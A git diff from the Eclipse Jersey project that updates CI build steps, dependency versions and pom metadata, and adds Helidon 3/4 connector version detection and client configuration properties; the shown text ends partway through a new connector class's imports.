merge of the current 4.0 into the 4.0.JPMS

diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml
index ddf4e77..179d814 100644
--- a/.github/workflows/validate.yml
+++ b/.github/workflows/validate.yml
@@ -68,20 +68,14 @@
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
-      - name: Set up JDK 17
-        uses: actions/setup-java@v4.1.0
-        with:
-          distribution: ${{ env.JAVA_DISTRO }}
-          java-version: 17
-          cache: maven
-      - name: Build JDK17+ required modules
-        run: mvn -B -U -V clean install -DskipTests -pl :jersey-helidon-connector -am
       - name: Set up JDK ${{ env.JAVA_VERSION }}
         uses: actions/setup-java@v4.1.0
         with:
           distribution: ${{ env.JAVA_DISTRO }}
           java-version: ${{ env.JAVA_VERSION }}
           cache: maven
+      - name: Build JDK21+ required modules
+        run: mvn -B -U -V clean install -DskipTests -pl :jersey-helidon-connector -am
       - name: Build ApiDocs
         run: etc/scripts/apidocs.sh
   archetypes:
diff --git a/NOTICE.md b/NOTICE.md
index c07f4ea..d3487a1 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -47,7 +47,7 @@
 * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors

 * by the @authors tag.

 

-Hibernate Validator CDI, 8.0.1.Final

+Hibernate Validator CDI, 8.0.2.Final

 * License: Apache License, 2.0

 * Project: https://beanvalidation.org/

 * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate

@@ -95,7 +95,7 @@
 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS

 * Copyright: Eric Rowell

 

-org.objectweb.asm Version 9.7.1

+org.objectweb.asm Version 9.8

 * License: Modified BSD (https://asm.ow2.io/license.html)

 * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved.

 

diff --git a/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/pom.xml
index 0db4b81..9be4049 100644
--- a/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/pom.xml
@@ -41,9 +41,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <!-- use the following artifactId if you don't need servlet 2.x compatibility -->
-            <!-- artifactId>jersey-container-servlet</artifactId -->
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/src/main/java/module-info.java b/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/src/main/java/module-info.java
index 23c71ea..8217f2f 100644
--- a/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/src/main/java/module-info.java
+++ b/archetypes/jersey-quickstart-webapp/src/main/resources/archetype-resources/src/main/java/module-info.java
@@ -1,7 +1,7 @@
 module ${package}.module {
     requires jakarta.ws.rs;
 
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
     requires org.glassfish.jersey.inject.hk2;
 
     exports ${package};
diff --git a/bom/pom.xml b/bom/pom.xml
index d2e8b07..e0b67d8 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -134,11 +134,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-servlet-core</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.containers.glassfish</groupId>
                 <artifactId>jersey-gf-ejb</artifactId>
                 <version>${project.version}</version>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index 67a5084..83c4a3d 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -29,6 +29,134 @@
     <name>jersey-bundles-apidocs</name>
     <packaging>jar</packaging>
 
+    <description>
+        Eclipse Jersey API Documentation Bundle.
+    </description>
+    <url>https://projects.eclipse.org/projects/ee4j.jersey</url>
+    <licenses>
+        <license>
+            <name>EPL 2.0</name>
+            <url>http://www.eclipse.org/legal/epl-2.0</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>GPL2 w/ CPE</name>
+            <url>https://www.gnu.org/software/classpath/license.html</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>EDL 1.0</name>
+            <url>http://www.eclipse.org/org/documents/edl-v10.php</url>
+            <distribution>repo</distribution>
+            <comments>The examples except bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>BSD 2-Clause</name>
+            <url>https://opensource.org/licenses/BSD-2-Clause</url>
+            <distribution>repo</distribution>
+            <comments>The bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>Apache License, 2.0</name>
+            <url>http://www.apache.org/licenses/LICENSE-2.0.html</url>
+            <distribution>repo</distribution>
+            <comments>Google Guava @ org.glassfish.jersey.internal.guava,
+                Dropwizard Monitoring inspired classes @ org.glassfish.jersey.server.internal.monitoring.core,
+                Hibernate Validation classes @ org.glassfish.jersey.server.validation.internal.hibernate, and
+                Jackson JAX-RS Providers @ org.glassfish.jersey.jackson.internal.jackson.jaxrs</comments>
+        </license>
+        <license>
+            <name>Public Domain</name>
+            <url>https://creativecommons.org/publicdomain/zero/1.0/</url>
+            <distribution>repo</distribution>
+            <comments>JSR-166 Extension to JEP 266 @ org.glassfish.jersey.internal.jsr166</comments>
+        </license>
+        <license>
+            <name>Modified BSD</name>
+            <url>https://asm.ow2.io/license.html</url>
+            <distribution>repo</distribution>
+            <comments>ASM @ jersey.repackaged.org.objectweb.asm</comments>
+        </license>
+        <license>
+            <name>jQuery license</name>
+            <url>jquery.org/license</url>
+            <distribution>repo</distribution>
+            <comments>jQuery v1.12.4</comments>
+        </license>
+        <license>
+            <name>MIT license</name>
+            <url>http://www.opensource.org/licenses/mit-license.php</url>
+            <distribution>repo</distribution>
+            <comments>AngularJS, Bootstrap v3.3.7,
+                jQuery Barcode plugin 0.3, KineticJS v4.7.1</comments>
+        </license>
+        <license>
+            <name>W3C license</name>
+            <url>https://www.w3.org/Consortium/Legal/copyright-documents-19990405</url>
+            <distribution>repo</distribution>
+            <comments>Content of core-server/etc</comments>
+        </license>
+    </licenses>
+    <scm>
+        <connection>scm:git:git@github.com:jersey/jersey.git</connection>
+        <developerConnection>scm:git:git@github.com:eclipse-ee4j/jersey.git</developerConnection>
+        <url>https://github.com/eclipse-ee4j/jersey</url>
+        <tag>HEAD</tag>
+    </scm>
+    <developers>
+        <developer>
+            <name>Jorge Bescos Gascon</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Lukas Jungmann</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Dmitry Kornilov</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>https://dmitrykornilov.net</url>
+        </developer>
+        <developer>
+            <name>David Kral</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Kraus</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Langer</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Maxim Nesen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Santiago Pericas-Geertsen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Jan Supol</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>http://blog.supol.info</url>
+        </developer>
+    </developers>
+
     <dependencies>
         <!-- CORE -->
         <dependency>
@@ -57,6 +185,7 @@
         <dependency>
             <groupId>org.osgi</groupId>
             <artifactId>org.osgi.core</artifactId>
+            <version>${osgi.version}</version>
         </dependency>
         <!-- CONNECTORS -->
         <dependency>
@@ -106,16 +235,12 @@
             <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
         </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
         <!-- need to explicitly include the servlet dependency here
               as it is scoped as provided in the jersey-servet modules -->
         <dependency>
             <groupId>jakarta.persistence</groupId>
             <artifactId>jakarta.persistence-api</artifactId>
+            <version>${jakarta.persistence.version}</version>
         </dependency>
         <dependency>
             <groupId>jakarta.servlet</groupId>
@@ -175,6 +300,7 @@
         <dependency>
             <groupId>com.fasterxml.jackson.module</groupId>
             <artifactId>jackson-module-jaxb-annotations</artifactId>
+            <version>${jackson.version}</version>
             <exclusions>
                 <exclusion>
                     <groupId>jakarta.xml.bind</groupId>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml
index 72311ee..a676388 100644
--- a/bundles/examples/pom.xml
+++ b/bundles/examples/pom.xml
@@ -31,6 +31,134 @@
     <name>jersey-bundles-examples</name>
     <packaging>pom</packaging>
 
+    <description>
+        Eclipse Jersey Examples Bundle.
+    </description>
+    <url>https://projects.eclipse.org/projects/ee4j.jersey</url>
+    <licenses>
+        <license>
+            <name>EPL 2.0</name>
+            <url>http://www.eclipse.org/legal/epl-2.0</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>GPL2 w/ CPE</name>
+            <url>https://www.gnu.org/software/classpath/license.html</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>EDL 1.0</name>
+            <url>http://www.eclipse.org/org/documents/edl-v10.php</url>
+            <distribution>repo</distribution>
+            <comments>The examples except bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>BSD 2-Clause</name>
+            <url>https://opensource.org/licenses/BSD-2-Clause</url>
+            <distribution>repo</distribution>
+            <comments>The bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>Apache License, 2.0</name>
+            <url>http://www.apache.org/licenses/LICENSE-2.0.html</url>
+            <distribution>repo</distribution>
+            <comments>Google Guava @ org.glassfish.jersey.internal.guava,
+                Dropwizard Monitoring inspired classes @ org.glassfish.jersey.server.internal.monitoring.core,
+                Hibernate Validation classes @ org.glassfish.jersey.server.validation.internal.hibernate, and
+                Jackson JAX-RS Providers @ org.glassfish.jersey.jackson.internal.jackson.jaxrs</comments>
+        </license>
+        <license>
+            <name>Public Domain</name>
+            <url>https://creativecommons.org/publicdomain/zero/1.0/</url>
+            <distribution>repo</distribution>
+            <comments>JSR-166 Extension to JEP 266 @ org.glassfish.jersey.internal.jsr166</comments>
+        </license>
+        <license>
+            <name>Modified BSD</name>
+            <url>https://asm.ow2.io/license.html</url>
+            <distribution>repo</distribution>
+            <comments>ASM @ jersey.repackaged.org.objectweb.asm</comments>
+        </license>
+        <license>
+            <name>jQuery license</name>
+            <url>jquery.org/license</url>
+            <distribution>repo</distribution>
+            <comments>jQuery v1.12.4</comments>
+        </license>
+        <license>
+            <name>MIT license</name>
+            <url>http://www.opensource.org/licenses/mit-license.php</url>
+            <distribution>repo</distribution>
+            <comments>AngularJS, Bootstrap v3.3.7,
+                jQuery Barcode plugin 0.3, KineticJS v4.7.1</comments>
+        </license>
+        <license>
+            <name>W3C license</name>
+            <url>https://www.w3.org/Consortium/Legal/copyright-documents-19990405</url>
+            <distribution>repo</distribution>
+            <comments>Content of core-server/etc</comments>
+        </license>
+    </licenses>
+    <scm>
+        <connection>scm:git:git@github.com:jersey/jersey.git</connection>
+        <developerConnection>scm:git:git@github.com:eclipse-ee4j/jersey.git</developerConnection>
+        <url>https://github.com/eclipse-ee4j/jersey</url>
+        <tag>HEAD</tag>
+    </scm>
+    <developers>
+        <developer>
+            <name>Jorge Bescos Gascon</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Lukas Jungmann</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Dmitry Kornilov</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>https://dmitrykornilov.net</url>
+        </developer>
+        <developer>
+            <name>David Kral</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Kraus</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Langer</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Maxim Nesen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Santiago Pericas-Geertsen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Jan Supol</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>http://blog.supol.info</url>
+        </developer>
+    </developers>
+
     <dependencies>
 <!--
         <dependency>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml
index f732ffd..b25c08d 100644
--- a/bundles/jaxrs-ri/pom.xml
+++ b/bundles/jaxrs-ri/pom.xml
@@ -84,11 +84,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -136,13 +131,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <version>${project.version}</version>
-            <classifier>sources</classifier>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
             <classifier>sources</classifier>
diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/test/StreamingTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/test/StreamingTest.java
index 8c5e1c4..3063b5f 100644
--- a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/test/StreamingTest.java
+++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/test/StreamingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -132,6 +132,8 @@
         inputStream.close();
         // trigger sending another 'A' to the stream; it should fail
         // (indicating that the streaming has been terminated on the server)
+        // But only the second flush causes the Exception
+        assertEquals("OK", sendTarget.request().get().readEntity(String.class));
         assertEquals("NOK", sendTarget.request().get().readEntity(String.class));
         assertEquals(0, counter.get());
     }
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml
index 34f9bf6..9d66f54 100644
--- a/connectors/helidon-connector/pom.xml
+++ b/connectors/helidon-connector/pom.xml
@@ -94,7 +94,7 @@
                 <jdk>[17,21)</jdk>
             </activation>
             <properties>
-                <javadoc.skip>true</javadoc.skip>
+                <helidon.connector.version>${helidon3.connector.version}</helidon.connector.version>
             </properties>
             <build>
                 <directory>${java17.build.outputDirectory}</directory>
@@ -135,6 +135,8 @@
                 <jdk>[21,)</jdk>
             </activation>
             <build>
+                <!-- 17 is correct, the module works with Helidon 3 supporting JDK 17, too -->
+                <!-- The build is against Helidon 4, which requires JDK 21 for the build, though -->
                 <directory>${java21.build.outputDirectory}</directory>
                 <plugins>
                     <plugin>
@@ -210,7 +212,7 @@
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java17.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java21.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
                                             <zipfileset dir="${java21.sourceDirectory}" prefix="META-INF/versions/21"/>
diff --git a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/Helidon3ConnectorProvider.java b/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/Helidon3ConnectorProvider.java
new file mode 100644
index 0000000..2508425
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/Helidon3ConnectorProvider.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.spi.Connector;
+
+@Beta
+class Helidon3ConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return super.getConnector(client, runtimeConfig);
+    }
+}
diff --git a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonVersionChecker.java b/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonVersionChecker.java
new file mode 100644
index 0000000..179c2fa
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonVersionChecker.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
+import java.lang.reflect.Field;
+
+/* package */ class HelidonVersionChecker {
+    static enum Version {
+        VERSION_3,
+        VERSION_4;
+    }
+
+    /* package */ static final LazyValue<Version> VERSION = Values.lazy((Value<Version>) () -> {
+       try {
+           // Cannot use io.helidon.common.Version.VERSION as that constant is linked into the code, resulting in 4.2.4 constant
+           // Must do it in the Runtime
+           Field field = Class.forName("io.helidon.common.Version").getDeclaredField("VERSION");
+           String version = (String) field.get(null);
+           return version.startsWith("4") ? Version.VERSION_4 : Version.VERSION_3;
+       } catch (Throwable t) {
+           // not helidon 4
+       }
+       return Version.VERSION_3;
+    });
+}
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index 7ca77a1..f457327 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,4 +28,4 @@
      * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available.
      */
     public static final String CONFIG = "jersey.connector.helidon.config";
-}
+}
\ No newline at end of file
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
index 155a54c..2531a4e 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,9 @@
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.core.Configuration;
-import java.io.OutputStream;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
 
 /**
  * Helidon Connector stub which only throws exception when running on JDK prior to 21.
@@ -32,11 +34,17 @@
  * @since 3.0.5
  */
 public class HelidonConnectorProvider implements ConnectorProvider {
+
+    private static final LazyValue<Helidon3ConnectorProvider> helidon3ConnectorProvider =
+            Values.lazy((Value<Helidon3ConnectorProvider>) Helidon3ConnectorProvider::new);
+
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 21) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        if (HelidonVersionChecker.VERSION.get() == HelidonVersionChecker.Version.VERSION_3) {
+            return helidon3ConnectorProvider.get().getConnector(client, runtimeConfig);
+        } else if (JdkVersion.getJdkVersion().getMajor() < 21) {
+            throw new ProcessingException(LocalizationMessages.HELIDON_4_NOT_SUPPORTED());
         }
         return null;
     }
-}
+}
\ No newline at end of file
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index 5f47b6b..b0d8401 100644
--- a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,20 +13,78 @@
  *
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
+
 package org.glassfish.jersey.helidon.connector;
 
-import io.helidon.jersey.connector.HelidonProperties;
+import io.helidon.common.tls.Tls;
+import io.helidon.config.Config;
+import io.helidon.webclient.api.WebClient;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 
+import java.util.List;
+import java.util.Map;
+
 /**
- * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}.
+ * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}
  * @since 2.31
  */
 @PropertiesClass
 public final class HelidonClientProperties {
 
+    private HelidonClientProperties() {
+    }
+
     /**
-     * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available
+     * Property name to set a {@link Config} instance to by used by underlying {@link WebClient}.
+     * This property is settable on {@link jakarta.ws.rs.core.Configurable#property(String, Object)}.
+     *
+     * @see io.helidon.webclient.api.WebClientConfig.Builder#config(io.helidon.common.config.Config)
      */
-    public static final String CONFIG = HelidonProperties.CONFIG;
+    public static final String CONFIG = "jersey.connector.helidon.config";
+
+    /**
+     * Property name to set a {@link Tls} instance to be used by underlying {@link WebClient}.
+     * This property is settable on {@link jakarta.ws.rs.core.Configurable#property(String, Object)}.
+     *
+     * @see io.helidon.webclient.api.WebClientConfig.Builder#tls(Tls)
+     */
+    public static final String TLS = "jersey.connector.helidon.tls";
+
+    /**
+     * Property name to set a {@code List<? extends  ProtocolConfig>} instance with a list of
+     * protocol configs to be used by underlying {@link WebClient}.
+     * This property is settable on {@link jakarta.ws.rs.core.Configurable#property(String, Object)}.
+     *
+     * @see io.helidon.webclient.api.WebClientConfig.Builder#protocolConfigs(List)
+     */
+    public static final String PROTOCOL_CONFIGS = "jersey.connector.helidon.protocolConfigs";
+
+    /**
+     * Property name to set a {@code Map<String, String>} instance with a list of
+     * default headers to be used by underlying {@link WebClient}.
+     * This property is settable on {@link jakarta.ws.rs.core.Configurable#property(String, Object)}.
+     *
+     * @see io.helidon.webclient.api.WebClientConfig.Builder#defaultHeadersMap(Map)
+     */
+    public static final String DEFAULT_HEADERS = "jersey.connector.helidon.defaultHeaders";
+
+    /**
+     * Property name to set a protocol ID for each request. You can use this property
+     * to request an HTTP/2 upgrade from HTTP/1.1 by setting its value to {@code "h2"}.
+     * When using TLS, Helidon uses negotiation via the ALPN extension instead of this
+     * property.
+     *
+     * @see io.helidon.webclient.api.HttpClientRequest#protocolId(String)
+     */
+    public static final String PROTOCOL_ID = "jersey.connector.helidon.protocolId";
+
+    /**
+     * Property name to enable or disable connection caching in the underlying {@link WebClient}.
+     * The default for the Helidon connector is {@code false}, or no sharing (which is the
+     * opposite of {@link WebClient}). Set this property to {@code true} to enable connection
+     * caching.
+     *
+     * @see io.helidon.webclient.api.WebClientConfig.Builder#shareConnectionCache(boolean)
+     */
+    public static final String SHARE_CONNECTION_CACHE = "jersey.connector.helidon.shareConnectionCache";
 }
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnector.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnector.java
new file mode 100644
index 0000000..c8c5f5b
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnector.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import io.helidon.common.LazyValue;
+import io.helidon.common.Version;
+import io.helidon.common.tls.Tls;
+import io.helidon.config.Config;
+import io.helidon.http.Header;
+import io.helidon.http.HeaderNames;
+import io.helidon.http.Method;
+import io.helidon.http.media.ReadableEntity;
+import io.helidon.service.registry.ServiceRegistryException;
+import io.helidon.service.registry.Services;
+import io.helidon.webclient.api.HttpClientRequest;
+import io.helidon.webclient.api.HttpClientResponse;
+import io.helidon.webclient.api.Proxy;
+import io.helidon.webclient.api.WebClient;
+import io.helidon.webclient.api.WebClientConfig;
+import io.helidon.webclient.spi.ProtocolConfig;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Response;
+
+
+import java.net.URI;
+import java.security.AccessController;
+import java.time.Duration;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.innate.VirtualThreadUtil;
